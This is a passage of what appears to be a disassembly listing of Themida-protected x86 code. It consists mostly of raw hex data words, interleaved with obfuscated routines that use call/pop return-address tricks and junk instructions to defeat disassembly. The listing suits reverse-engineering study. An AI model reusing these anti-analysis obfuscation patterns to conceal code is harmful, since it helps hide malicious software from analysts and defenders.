2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 14FD9D8Bh, 0BD0B060Bh, 60B1255h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h dd 0E1BFCF83h, 9860F9A6h, 6870F5Fh, 8B000000h, 0B2A49BDh dd 9BD8306h, 3060B10h, 3AF850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6190B6C3h dd 43F29EC7h, 1DBD83F5h, 60EA8h, 37F840Fh, 0F3810000h dd 10F1EE30h, 0A81DB5FFh, 8B60060Eh, 0B05A585h, 75858B06h dd 61060B33h, 83D95FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0EA97F2C3h, 0BB66A605h dd 0B58BF226h, 60EA811h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 66C35242h, 2B9BD8Bh, 6C7060Bh, 10001h dd 96FE8B66h, 0BE95250h, 3000000h, 8CFC99A1h, 0AC2EBC8Ch dd 310F803Ah, 585AF98Bh, 0BE950h, 11900000h, 577A7C80h dd 3AFA08BDh, 6A96CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0A9F6FEC3h, 8C0F1F11h, 6, 7CD9D89h dd 0BD89060Bh, 60B32B9h, 0A81DB5FFh, 0BD8B060Eh, 60B1265h dd 64195FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 9FAD22C3h, 9D8BE30Ah, 60B0B51h dd 14E59D89h, 0B58B060Bh, 60EA811h, 46EB8166h, 1D858B6Fh dd 8B060B12h, 0B2DFDBDh, 0C4868906h, 0BB000000h, 6B47C921h dd 174D958Bh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 8A5211C3h, 7B0FA517h, 0DA8BF98Bh dd 3104C283h, 0B18359Dh, 0ED9D8906h, 89060B02h, 6A2050h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 54333C3h, 7C795DE5h, 0F51EFBDh, 584h, 0E6AEBB00h, 0F5F5840h dd 686h, 0DBD0900h, 8D060B19h, 0EBAEE85h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0C555AA2Ch, 89FB8B66h, 0B886h, 0DF816600h, 6ABA5Bh dd 0A81DB5FFh, 5356060Eh, 830Fh, 5B5B0000h, 0F1595FFh dd 9D89060Bh, 60B0B75h, 15BB6696h, 0BB665087h, 6A96ECDAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 6C4BC357h, 57EB9E7Eh, 0AD161544h, 0D318D89h dd 0B5FF060Bh, 60EA81Dh, 741BD89h, 95FF060Bh, 60B00F5h dd 860Fh, 0BD830000h, 60B2191h, 5A840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 96BAC352h, 0DA8B5760h, 5B50515Ah, 8B50615Eh, 6A96FAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0B56EAFC3h, 0C5458B06h, 68C0F81h, 1000000h, 0B190D85h dd 1DB5FF06h, 66060EA8h, 95FFDF8Bh, 60B1281h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h dd 0D13F381h, 840F2983h, 6, 2781BD29h, 0B5FF060Bh, 60EA81Dh dd 8D95FFF8h, 6A060B0Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 41F3C350h, 63AA4ACCh dd 1FB5BD8Bh, 0BD83060Bh, 60B17F1h, 37840F02h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 5EF4C353h, 0DB9416EAh, 0C5858B62h, 8B060B2Eh dd 0B18E9BDh, 0C606h, 8BCF8B60h, 85C761C6h, 60B06B9h, 0 dd 0A4EABF56h, 35B5BEBh, 0B2F299Dh, 0F42CE906h, 6AFFFFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0B4F1C3h, 0F5A2ACB6h, 8166C18Bh, 8DE407EFh, 0B28A985h dd 0F5BD8906h, 8B060B20h, 0B03BDBDh, 76BF9006h, 501D67CAh dd 46B75250h, 585A310Fh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 7B3FE764h, 87878F4Ah dd 9D8B93CFh, 60B2AA1h, 0E9DBD89h, 0E953060Bh, 7, 0EC72C644h dd 5B65EE01h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0E7F684C3h, 6A5A2D11h, 6AFE8BFBh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0F19DC549h, 0A40B5632h, 820F46E4h, 0Fh dd 0AE9h, 571BB500h, 4A4F6674h, 890C142Bh, 0B0BAD95h, 0B1B58906h dd 8D060B15h, 0FCEFD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 5DDAE9E6h, 13C380C8h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 2479C350h, 0DE2BEB81h, 0B3906AAAh dd 8A6050FBh, 0FE8B66F1h, 8C0F9061h, 0 ; --------------------------------------------------------------------------- push 0 and di, 68E7h push 0 push 0 push eax call sub_588E88 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588E88 proc near ; CODE XREF: Themida_:00588E80p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_588E88 endp ; --------------------------------------------------------------------------- xor [ebx], al pop ebx jb short loc_588ECC sal byte ptr [esi+27h], cl xor edi, [ebp+60B0175h] call dword ptr [ebp+60B2F21h] push 0 push esi call sub_588EB7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588EB7 proc near ; CODE XREF: Themida_:00588EAFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_588EB7 endp ; --------------------------------------------------------------------------- pop ebp db 2Eh jecxz short loc_588F1B dec esp loc_588ECC: ; CODE XREF: Themida_:00588E9Bj sbb [edi], eax call sub_588EE3 xchg eax, esp outsb mov esi, es or dh, ah cmp bh, [eax] xor esi, ecx dec eax cmp [eax-49h], ebx movsb nop ; =============== S U B R O U T I N E ======================================= sub_588EE3 proc near ; CODE XREF: Themida_:00588ECEp movsx ebx, di pop edi lea ecx, [ebp+60EA7B0h] push 0 push ebx call sub_588EF8 and [ebx-3Dh], bl sub_588EE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_588EF8 proc near ; CODE XREF: sub_588EE3+Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_588EF8 endp ; --------------------------------------------------------------------------- dd 0A00E6D7Ah, 83D1FF4Eh, 0B0B19BDh, 850F0106h db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_588F1B: ; CODE XREF: Themida_:00588EC8j add [ebx+6A026AF6h], dh add [ecx-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- and [ecx-3Dh], bl pop ecx mov [esp+4], ecx add dword ptr [esp+4], 19h inc ecx push ecx retn ; --------------------------------------------------------------------------- retn 8170h ; --------------------------------------------------------------------------- aam 47h lodsd movsx edi, dx mov ebx, [ebp+60B010Dh] nop mov edi, 7EEC046Ch push eax mov edi, 1C32736Fh nop push 0 push ebx call sub_588F62 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588F62 proc near ; CODE XREF: Themida_:00588F5Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_588F62 endp ; --------------------------------------------------------------------------- lods byte ptr ss:[esi] mov edi, [ebp+60B0F3Dh] call dword ptr [ebp+60B0F15h] push 0 push eax call sub_588F8B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588F8B proc near ; CODE XREF: Themida_:00588F83p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_588F8B endp ; --------------------------------------------------------------------------- db 78h dd 90EA084Dh, 10B4E9B5h, 0E80000h, 5D000000h, 0CF07ED81h dd 0CE8060Fh, 0B0000000h, 6DE89007h, 5A8C8284h, 13AF073h dd 0B202DB5h, 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 4B4A6FC3h, 3B4BF441h, 1DDF81AEh dd 8D2D5923h, 0E929385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 5FC523EEh, 7159A77Dh dd 800FA9C4h, 5, 0ABD38166h, 0B9B58903h, 50060B02h, 52505356h dd 585A310Fh, 4895B5Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 81664E2Dh, 0F3972CBh dd 0C8Dh, 6880F00h, 8B000000h, 0B0331BDh, 0EBD38106h, 643A0927h dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 647D8AC3h, 896496CFh, 25h, 185EBB00h dd 85FF090Eh, 60B066Dh, 0B1D9D23h, 8B66060Bh, 6AFF6ADFh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 6F6AC351h, 711C1213h, 0E9769851h, 9, 0EBE7604Eh dd 0C675612Eh, 55B5FF81h, 6A060B23h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 84ADC352h dd 6ECCA542h, 66605394h, 46D8F181h, 61D6BF0Fh, 0C61BD8Bh dd 95FF060Bh, 60B2411h, 12CE9h, 89B50100h, 0B0060B33h dd 9D896000h, 60B0209h, 0E970E661h, 5, 116C9481h, 3371E464h dd 0B0CA1BDh, 0F613C06h, 10083h, 0BE900h, 78CF0000h, 0B6243649h dd 0F89CCA58h, 0C8B60F7Eh, 2AABF66h, 6BAh, 0CE900h, 0C35D0000h dd 303C2F7Ch, 0C01A6810h, 0C18BC956h, 14E9h, 718B7200h dd 3FF26266h, 38A766DCh, 3B931896h, 0A4D37B16h, 919589ACh dd 0C1060B01h, 0F76604E8h, 0E9B589E2h, 2B060B22h, 199D23C8h dd 8B060B0Dh, 14E9D1h, 25B70000h, 0FE07DEBDh, 6A7AF155h dd 8357009Bh, 410219A1h, 7EE988CDh, 66000000h, 8B7066BFh dd 485h, 7C08300h, 0CE9h, 0FF0CE00h, 0B72DDC1Ch, 785AEBE3h dd 25BD0BAAh, 83060B00h, 0BD8B00C0h, 60B246Dh, 830FD03Bh dd 14h, 2FDBD8Bh, 3EE9060Bh, 81000000h, 0D1CF04DFh, 46EF802Eh dd 0FFFF8D8Bh, 8166FFFFh, 83C6AFC3h, 840F01E1h, 21h, 13519D8Bh dd 0A583060Bh, 0FFFFFFFFh, 0ED9D8BFEh, 89060B2Eh, 495h dd 0FAB70F00h, 0E9h, 0B1B58D00h, 89060F4Fh, 0B1E95B5h dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0C6DCC350h, 0DD95FFF5h, 6A060B32h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 813FC350h, 3A3AE3E3h, 4A52BB0Bh, 0ABB942FDh dd 5600000Fh, 5FFE8B66h, 88C0Fh, 9500000h, 0B2AD18Dh, 0E1835F06h dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0A2491C4Ah, 0ED8D2953h, 0FC060B00h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3BC35545h, 9BDEE982h dd 4616BC14h, 0DE93Dh, 61600000h, 0CD9B637h, 4753AB89h dd 0B840B1A2h, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+60B28D9h] mov ebx, ecx mov edx, 0 jmp loc_589357 ; --------------------------------------------------------------------------- dw 55BEh dd 0C0392031h, 592E337Fh, 5C4A969Ah db 0D1h, 0Fh, 0F7h ; --------------------------------------------------------------------------- loc_589357: ; CODE XREF: Themida_:00589341j ; Themida_:00589361j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_589357 push 0 push eax call sub_58936E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58936E proc near ; CODE XREF: Themida_:00589366p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_58936E endp ; --------------------------------------------------------------------------- rcr cl, 1 mov ebx, [ebp+60B0801h] mov ebx, [ebp+60B1A85h] or eax, 88h push 0 push eax call sub_58939C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58939C proc near ; CODE XREF: Themida_:00589394p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_58939C endp ; --------------------------------------------------------------------------- mov dword ptr [ebp-76A8E44Bh], 0B1035BDh push es mov edx, [ebp+60B174Dh] mov edi, [ebp+60B18C5h] mov ecx, [ebp+60B0119h] push 0 push eax call sub_5893D4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5893D4 proc near ; CODE XREF: Themida_:005893CCp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5893D4 endp ; --------------------------------------------------------------------------- dd 50426D66h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0A9C0B323h, 759D8BCBh, 6A060B02h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 5980C356h, 83FB8BB4h, 0B29BDBDh, 840F0006h, 94h, 0B8F88Bh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0A16FC353h, 8D61B3CDh, 0B4DD78Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0BE99C3E8h, 0E0C22B18h, 68B0FDAh, 8B000000h dd 0B32E59Dh, 0D59D8B06h, 0F060B08h, 682h, 0E59D8900h dd 0FF060B21h, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D89D6DDh, 60B04A1h, 1009BD83h dd 0F00060Bh, 56284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 941C479Dh, 0BD8302D9h dd 60B1009h, 4F840F01h, 6A000005h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0DA4DC355h dd 0F88B66B9h, 1009BD83h, 0F03060Bh, 4EB86h, 0F4DB8000h dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 32CD1320h, 66F98B66h, 0DC8AD98Ch, 6A04E180h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 7FA9C357h, 60A4F9A2h, 958D2Bh, 0EE8060Bh dd 9E000000h, 612C8C9Ch, 5A6CE7CBh, 16014453h, 0CFB70FF1h dd 9D896158h, 60B035Dh, 840FC90Ah, 17Ah, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 15h, 11C35141h, 7D858B79h dd 6A060B31h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 193C351h, 33DE8B4Bh, 0B06ED85h dd 12E85006h, 0A6000000h, 8A1B826Dh, 97FE3946h, 4E124506h dd 0D6779F6h, 118D3114h, 5F060B01h, 0B656BF5Fh, 0E9906F9Eh dd 7, 5DFB828Dh, 500FEFBFh, 52506051h, 585A310Fh, 0D6C9B966h dd 6A905F61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E83FC353h, 7, 5ECBF296h, 0BF5BDAB7h dd 41000BD9h, 6A006A5Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 51DBC350h, 0C840Fh dd 870F0000h, 6, 810Fh, 6E90000h, 0BE000000h, 53547760h dd 0BE0E68DEh, 8E994C9h, 0EB000000h, 1E12F53Ah, 819A7A81h dd 45F12404h, 6A6B55h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 61D005C3h, 260D3987h, 0DE8F7AFh dd 0FA000000h, 8074699Ah, 370F11B9h, 0B8CA0C84h, 0D3B96660h dd 39958B16h, 61060B24h, 0D195FF5Bh, 89060B03h, 0B001195h dd 1D858906h, 8B060EA8h, 0B04C19Dh, 294E906h, 95890000h dd 60B0871h, 8E0Fh, 858B0000h, 60EA815h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 1AC35343h, 6860Fh dd 8D290000h, 60B0B69h, 8E9h, 164AF000h, 85473C34h, 1800C722h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 2136C350h, 8BE5AF44h, 0EA819B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 3893A797h, 959589F8h, 8B060B02h, 0B06E185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0FBE77058h, 91C78100h, 0F8215C9Ch, 6A0689h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 1D96A7C3h, 0D5191AB3h, 8D09B4C3h, 60B1A6Dh, 8E2ABB66h dd 317D858Bh, 0BD8B060Bh, 60B0419h, 0F044689h, 118Fh, 5E800h dd 0DE200000h, 338CD68Ch, 0B1B61BDh, 60505F06h, 0F08BF78Bh dd 24348961h, 11820Fh, 0CE90000h, 29000000h, 9EC23187h dd 0BAC4EC87h, 0FFBADE26h, 0EA815B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0FADB8C59h, 0FDB8600Bh, 81610A90h, 816BF8D3h, 0B960614Ah dd 118E8D9h, 6B58D8Bh, 0E861060Bh, 4, 1F03FFh, 0FE953h dd 0AB5B0000h, 0FDD4875h, 7402AAA3h, 404DA063h, 8B505F71h dd 24448BFBh, 1D800F04h, 50000000h, 0EE852h, 72CC0000h dd 6C62104Ah, 5ECC7547h, 0A3EC5472h, 66310F5Bh, 585ADF8Bh dd 5F52008Bh, 4244489h, 0FE8h, 34A9B300h, 0D0A4F7A9h, 2F507CB6h dd 0CE58EA80h, 310F5250h, 585AFE8Ah, 8D89585Fh, 60B16A5h dd 0A81D858Dh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0D3E49FC3h, 57077DFFh, 66E20280h dd 50AAF4BBh, 9D567BBh, 24048956h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0D3C35141h, 0E98EBADCh, 0Ch dd 0A244A0Eh, 95A6D57Ah, 61A9A6D1h, 1A8D9D89h, 95FF060Bh dd 60B03D1h, 10E8h, 5FE63600h, 51BB75D4h, 2C64BC22h, 843AB859h dd 13E961h, 1AAC0000h, 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh dd 0AC9ACFB8h, 6A615B86h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 22C4C353h, 60C380F1h dd 100985C7h, 3060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0A561BEC3h, 0F88B0D69h dd 0A81DBD83h, 0F00060Eh, 1384h, 0BD8B5100h, 60B2815h dd 21E95Bh, 0F3810000h, 137B41A6h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 1A12C356h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 41C35141h, 6B45F06h, 97C38114h, 83042FF6h, 0B1009BDh dd 850F0306h, 504h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A5C35141h, 6DBB6629h, 5D9D093Bh, 83060B1Fh dd 0EA81DBDh, 840F0006h, 4D0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 71C35545h, 8D296078h, 60B1659h dd 1DB5FF61h, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0B0B9C357h, 0EC0E61B9h dd 0C781E67Dh, 75483139h, 3EB5F960h, 3D95FF61h, 8B060B08h dd 0B0881BDh, 11B58B06h, 6A060EA8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 93D4C356h dd 0B70F9177h, 3A294055h, 62DBD89h, 8166060Bh, 0C76239EFh dd 1000106h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 53CF24D5h, 0EFEF8166h, 81665B8Eh dd 509F80E7h, 800F5250h, 13h, 0EE9h dd 0E86F3900h, 3ADC5312h, 215D1D50h, 0F503D21h, 10E831h dd 22B40000h, 3D4ED41h, 58AB009Fh, 0C49033A9h, 8B66D19Eh dd 585A5FFEh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 98A9C356h, 623A265Eh dd 0BD0BB47Eh, 60B059Dh, 0E4A6BFh, 1DB5FF2Ah, 6A060EA8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FF92C356h, 0B064195h, 0CE806h, 0E1590000h dd 24B9CDF8h, 0DAA768F3h, 0BD31042Bh, 60B1341h, 11B58B5Bh dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 1117C355h, 3F4A8BFDh, 0FC2118A4h dd 121D858Bh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 31AB96C3h, 0B2D8185h, 0C4868906h dd 66000000h, 8B8571BFh, 0B174D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0B79C172Bh dd 0CC421558h, 50BBED3Dh, 0E97F016Eh, 9, 0F88F75F0h, 0C9FE13FBh dd 4C2835Dh, 0A224CBBh, 20508958h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0D4C35343h, 0BBE1A13Bh, 233123FDh dd 0BAEE858Dh, 9D2B060Eh, 60B1AC5h, 29A59589h, 8689060Bh dd 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0EAC35141h, 28D0Fh, 0F98A0000h, 0EE9006Ah, 1F000000h dd 0ADFD2BD9h, 17660C60h, 0F46404F1h, 1DB5FFECh, 81060EA8h dd 0C6C2B3C7h, 1595FF54h, 6A060B0Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B816C353h dd 0E8D833D1h, 14h, 3E8620B8h, 455FDD98h, 37136261h, 0DF7B52A8h dd 748646E1h, 1A41BD0Bh, 965F060Bh, 7E8h, 0E98EB600h, 120BB4F2h dd 5BDF8B66h, 0AE850h, 8FA00000h, 0ED6E177Dh, 47E12E6Bh dd 5FFB8B53h, 6A965Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0B5FFA5C3h, 60EA81Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A1C35747h, 4647A7CBh dd 801D651Ch, 95FFF888h, 60B00F5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 9DC35040h, 0E3812FE0h, 5E3A271Fh dd 148D0Fh, 0FE90000h, 26000000h, 3F5E839Eh, 0E9A13368h dd 8AB8C973h, 0BD8350C5h, 60B2191h, 2E840F00h, 50000000h dd 7E8h, 0D1E36500h, 697389C4h, 2434895Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DCC35343h, 1DB5FF54h dd 6A060EA8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 3E9BC353h, 89E81CDBh, 0B01C595h dd 8195FF06h, 6A060B12h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 5695C353h, 1FE5BD8Bh dd 665F060Bh, 0FF1D2FBBh, 0EA81DB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 90376B74h dd 0FF4ABBB8h, 0B0B8D95h, 0F1BD8306h, 2060B17h, 5A840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 8E9DF0C3h, 5E50E546h, 60BF766Eh, 8B61B032h dd 0C5858BF9h, 8B060B2Eh, 0B27BD9Dh, 0C606h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 60C35141h, 0DA8BCC6Dh dd 6B985C7h, 60Bh, 0BD8B0000h, 60B0355h, 0FFF0D8E9h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0CE5DD816h, 81A0BB9Eh, 5D5E06E3h, 6AC18B39h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 3592C352h, 6850Fh, 9D8B0000h, 60B1FF5h, 14E8h, 0BB81C100h dd 0AACED18Dh, 89E0E78Fh, 7A1F3427h, 0A8839088h, 6860F0Eh dd 8B000000h, 0B02D59Dh, 858D5B06h, 60B28A9h, 2B799D8Bh dd 8950060Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0AF07C5C3h, 0B278920Eh, 6A006A05h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 8921C356h, 0B71E1056h, 1F498589h, 6A060Bh dd 183D9D09h, 858D060Bh, 60FE18Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 69C35343h, 9B79F2CCh, 3892CE09h dd 6A05C083h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 9BD9C356h, 0AD790CA9h, 72D4D6A4h dd 16899D89h, 5050060Bh, 0CE952h, 2D110000h, 0A5FB6A5Ah dd 0F129392Bh, 310FD0E6h, 28B0Fh, 61600000h, 489585Ah dd 0F98D0124h, 8B060B32h, 6A006AFBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DE8EC356h dd 0FB623912h, 6712B7Dh, 6AFA8Bh, 9DE38166h, 2195FFAAh dd 6A060B2Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 6391C356h, 4CD21D2Fh, 6CA23863h dd 6141BB66h, 0A7B08D8Dh, 8D29060Eh, 60B2A05h, 12E9h, 543B3900h dd 0A079E9F7h, 0D1423883h, 65F51FB5h, 0FFD67D9Ch, 6E9D1h dd 37960000h, 0E29311D5h, 0B19BD83h, 0F01060Bh, 5685h dd 6A76B300h, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 3191E110h, 0FCFC5AA4h, 89DF8B50h dd 0D7802404h, 1595FF02h, 6A060B0Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2E88C356h dd 0E9A956E0h, 0E03h, 0E8h, 0ED815D00h, 60FE199h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 5DC35343h, 7E9FD34h dd 7D000000h, 5CBF144Ch, 6A3234h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 0F7DFDC3h, 687h, 358D8900h dd 8D060B04h, 0E929385h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0DDB787FFh, 0D98B6656h dd 0AD85015Bh, 50060B16h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0C2FAC351h dd 2319B0D9h, 8BBEA01Eh, 0B31DD9Dh, 518D8906h, 64060B16h dd 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0F64A50C3h, 0BE71531Dh, 816653A0h dd 5FAEA8F3h, 5E9h, 0B3F3700h, 8964BF3Fh, 25h, 0EB816600h dd 85FF1F47h, 60B066Dh, 6840Fh, 9D8B0000h, 60B31A5h, 0DE9h dd 6D8AD000h, 25C5615Eh, 0C97144C3h, 0FF6AA7FEh, 629BD8Bh dd 